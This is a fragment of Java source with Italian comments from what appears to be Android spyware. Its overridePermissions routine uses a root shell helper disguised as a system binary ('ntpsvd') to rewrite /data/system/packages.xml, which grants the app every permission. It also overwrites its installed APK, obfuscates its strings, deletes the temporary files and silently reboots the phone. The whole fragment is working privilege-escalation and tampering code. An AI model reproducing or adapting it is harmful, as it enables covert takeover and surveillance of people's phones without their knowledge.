PackageManager.PERMISSION_GRANTED) { return 2; } } try { String pack = Status.self().getAppContext().getPackageName(); // Runtime.getRuntime().exec("/system/bin/ntpsvd fhc /data/system/packages.xml /data/data/com.android.service/files/packages.xml"); // Creiamo la directory files Status.getAppContext().openFileOutput("test", Context.MODE_WORLD_READABLE); // Copiamo packages.xml nel nostro path e rendiamolo scrivibile // /system/bin/ntpsvd fhc /data/system/packages.xml // /data/data/com.android.service/files/packages.xml Execute.execute(String.format(M.e("%s fhc /data/system/packages.xml /data/data/%s/files/packages.xml"), Configuration.shellFile, pack)); Utils.sleep(600); // /system/bin/ntpsvd qzx chmod 666 // /data/data/com.android.service/files/packages.xml Execute.chmod("666", String.format(M.e("/data/data/%s/files/packages.xml"), pack)); // Rimuoviamo il file temporaneo // /data/data/com.android.service/files/test File tmp = new File(String.format(M.e("/data/data/%s/files/test"), pack)); if (tmp.exists() == true) { tmp.delete(); } // Aggiorniamo il file // packages.xml FileInputStream fin = Status.getAppContext().openFileInput(M.e("packages.xml")); // com.android.service PackageInfo pi = new PackageInfo(fin, Status.getAppContext().getPackageName()); String path = pi.getPackagePath(); if (path.length() == 0) { return 0; } // Vediamo se gia' ci sono i permessi richiesti if (pi.checkRequiredPermission() == true) { if (Cfg.DEBUG) { Check.log(TAG + " (overridePermissions): Capabilities already acquired"); //$NON-NLS-1$ } // Rimuoviamo la nostra copia // /data/data/com.android.service/files/packages.xml File f = new File(String.format(M.e("/data/data/%s/files/packages.xml"), pack)); if (f.exists() == true) { f.delete(); } return 2; } // perm.xml pi.addRequiredPermissions(M.e("perm.xml")); // .apk con tutti i permessi nel manifest // TODO riabilitare le righe quando si reinserira' l'exploit // InputStream manifestApkStream = // getResources().openRawResource(R.raw.layout); // streamDecodeWrite(manifest, manifestApkStream, // Cfg.); // Copiamolo in /data/app/*.apk // /system/bin/ntpsvd qzx \"cat // /data/data/com.android.service/files/layout > Execute.execute(String.format(M.e("%s qzx \"cat /data/data/%s/files/layout > "), Configuration.shellFile, pack) + path + "\""); // Copiamolo in /data/system/packages.xml // /system/bin/ntpsvd qzx // \"cat /data/data/com.android.service/files/perm.xml > /data/system/packages.xml\"" Execute.execute(String.format( M.e("%s qzx \"cat /data/data/%s/files/perm.xml > /data/system/packages.xml\""), Configuration.shellFile, pack)); // Rimuoviamo la nostra copia // /data/data/com.android.service/files/packages.xml File f = new File(String.format(M.e("/data/data/%s/files/packages.xml"), pack)); if (f.exists() == true) { f.delete(); } // Rimuoviamo il file temporaneo // /data/data/com.android.service/files/perm.xml f = new File(String.format(M.e("/data/data/%s/files/perm.xml"), pack)); if (f.exists() == true) { f.delete(); } // Rimuoviamo l'apk con tutti i permessi // /data/data/com.android.service/files/layout f = new File(String.format(M.e("/data/data/%s/files/layout"), pack)); if (f.exists() == true) { f.delete(); } // Riavviamo il telefono // /system/bin/ntpsvd reb Execute.execute(String.format(M.e("%s reb"), Configuration.shellFile)); } catch (Exception e1) { if (Cfg.EXCEPTION) { Check.log(e1); } if (Cfg.DEBUG) { Check.log(e1);//$NON-NLS-1$ Check.log(TAG + " (root): Exception on overridePermissions()"); //$NON-NLS-1$ } return 0; } return 1; } }